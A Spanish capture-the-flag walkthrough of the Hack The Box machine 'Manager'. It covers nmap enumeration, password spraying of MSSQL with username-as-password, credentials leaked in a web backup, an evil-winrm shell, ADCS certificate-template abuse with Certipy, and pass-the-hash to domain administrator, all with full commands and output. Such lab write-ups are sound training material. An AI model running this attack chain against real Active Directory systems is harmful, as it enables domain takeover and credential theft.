Descripción

Manager es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de un Directorio Activo
  • Uso de credenciales débiles
  • Exposición de datos sensibles
  • Escalada de privilegios mediante una mala configuración de los certificados del Directorio Activo

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.236.

$ ping -c 3 10.10.11.236
PING 10.10.11.236 (10.10.11.236) 56(84) bytes of data.
64 bytes from 10.10.11.236: icmp_seq=1 ttl=127 time=43.8 ms
64 bytes from 10.10.11.236: icmp_seq=2 ttl=127 time=42.3 ms
64 bytes from 10.10.11.236: icmp_seq=3 ttl=127 time=43.3 ms

--- 10.10.11.236 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 42.294/43.131/43.766/0.617 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.236 -sS -p- -oN nmap_scan  
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.236
Host is up (0.043s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49681/tcp open  unknown
49682/tcp open  unknown
49683/tcp open  unknown
49712/tcp open  unknown
49786/tcp open  unknown
64330/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 105.38 seconds

Obtenemos muchos puertos abiertos, tal vez relacionados con un entorno Active Directory.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.236 -sV -sC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.236
Host is up (0.040s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-07-22T06:49:49
|_Not valid after:  2053-07-22T06:49:49
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.52 seconds

Con la información devuelta por el escaneo podemos confirmar que la máquina pertenece a un Directorio Activo, y podemos confirmar que la máquina es el Controlador del Dominio. Lo añadimos a nuestro archivo local /etc/hosts.

$ echo "10.10.11.236 manager.htb" | sudo tee -a /etc/hosts

Con CrackMapExec podemos enumerar los nombres de usuario usando el servicio SMB y un usuario anonymous.

$ crackmapexec smb 10.10.11.236 -u "anonymous" -p "" --rid-brute 
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\anonymous: 
SMB         10.10.11.236    445    DC01             [+] Brute forcing RIDs
...
SMB         10.10.11.236    445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB         10.10.11.236    445    DC01             1114: MANAGER\Cheng (SidTypeUser)
SMB         10.10.11.236    445    DC01             1115: MANAGER\Ryan (SidTypeUser)
SMB         10.10.11.236    445    DC01             1116: MANAGER\Raven (SidTypeUser)
SMB         10.10.11.236    445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.10.11.236    445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.10.11.236    445    DC01             1119: MANAGER\Operator (SidTypeUser)

Obtuvimos los usuarios Zhong, Cheng, Ryan, Raven, JinWoo, ChinHae, y Operator. Observamos que está abierto el puerto 1433 de Microsoft SQL Server 2019.

Explotación

Así que vamos a comprobar si hay contraseñas inseguras iniciando sesión como los usuarios que conseguimos y utilizando como contraseña el nombre de usuario en minúscula.

for username in `cat usernames.txt`; do export password=`echo $username | awk '{print tolower($0)}'` && echo "Comprobando $username:$password" && impacket-mssqlclient -p 1433 -windows-auth -dc-ip 10.10.11.236 "manager.htb/$username:$password"@10.10.11.236; done

Comprobando Zhong:zhong
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
Comprobando Cheng:cheng
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
Comprobando Ryan:ryan
Impacket v0.11.0 - Copyright 2023 Fortra
...
Comprobando Operator:operator
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)>

Obtenemos la contraseña para el usuario Operator, operator. Como este es un SQL Server podemos intentar utilizar el procedimiento xp_cmdshell para conseguir la ejecución de código remoto.

SQL (MANAGER\Operator  guest@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

Pero el permiso es negado, sin embargo podemos utilizar el procedimiento xp_dirtree para enumerar el contenido de la raíz del servidor web.

SQL (MANAGER\Operator  guest@master)> xp_dirtree /inetpub/wwwroot/
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1   
contact.html                          1      1   
css                                   1      0   
images                                1      0   
index.html                            1      1   
js                                    1      0   
service.html                          1      1   
web.config                            1      1   
website-backup-27-07-23-old.zip       1      1

Encontramos un archivo interesante, website-backup-27-07-23-old.zip, así que lo descargamos desde el servidor web, lo descomprimimos y enumeramos sus archivos.

$ wget manager.htb/website-backup-27-07-23-old.zip                            

$ unzip website-backup-27-07-23-old.zip -d backup 

$ ls -a backup 
.  ..  about.html  contact.html  css  images  index.html  js  .old-conf.xml  service.html

Encontramos un archivo interesante, .old-conf.xml.

$ cat backup/.old-conf.xml    
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

Obtenemos las credenciales de LDAP para el usuario raven, R4v3nBe5tD3veloP3r!123. Así que finalmente usamos la herramienta evil-winrm para obtener una capa remota.

$ evil-winrm -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -i '10.10.11.236'     

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven

Post-Explotación

Como ahora estamos conectados con el usuario raven, necesitamos elevar nuestros privilegios. En este caso, vamos a hacer una escalada de privilegios aprovechándose de una mala configuración del Directorio Activo como se muestra en Hacktricks. Necesitamos la herramienta Certipy.

sudo pip3 install certipy-ad

La técnica se basa en el hecho de que los usuarios con el derecho de acceso a certificados de gestión y administración pueden emitir solicitudes de certificados fallidos. La plantilla de certificados SubCA es vulnerable a ESC1, pero sólo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA, que será denegada, pero luego emitida por el administrador después. Primero obtenemos el nombre de la Autoridad de Certificación.

$ certipy find -vulnerable -stdout -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'

El nombre de la AC es manager-DC01-CA, ahora nos movemos para inscribir el actual usuario raven al permiso de Gestión de Certificados.

$ certipy ca -ca 'manager-DC01-CA' -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -add-officer raven
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Luego habilitamos la plantilla SubCA.

$ certipy ca -ca 'manager-DC01-CA' -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

Después podemos solicitar el certificado basado en la plantilla SubCA.

$ certipy req -ca 'manager-DC01-CA' -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -template 'SubCA' -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 29
Would you like to save the private key? (y/N) y
[*] Saved private key to 29.key
[-] Failed to request certificate

Obtenemos un error, pero podemos guardar la clave privada y emitir la solicitud de certificado fallido.

$ certipy ca -ca 'manager-DC01-CA' -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -issue-request 29 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Ahora podemos recuperar el certificado emitido.

$ certipy req -ca 'manager-DC01-CA' -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -retrieve 29
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 29
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '29.key'
[*] Saved certificate and private key to 'administrator.pfx'

Finalmente podemos autenticar en el servidor usando el certificado emitido y la clave privada.

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

Obtuvimos un error sobre la diferencia entre la hora de la máquina local y la remota del servidor, así que vamos a sincronizar nuestra máquina con la hora del servidor. En Kali Linux necesitamos desactivar el servicio NTP.

sudo timedatectl set-ntp off
sudo ntpdate 10.10.11.236

Ahora obtuvimos el hash NT y podemos autenticarnos con el servidor usando Pass-the-Hash.

$ evil-winrm -u 'administrator' -H 'ae5064c2f62317332c88629e025924ef' -i '10.10.11.236'

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

PS ... > type "C:\Users\raven\Desktop\user.txt"
<REDACTED>
PS ... > type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>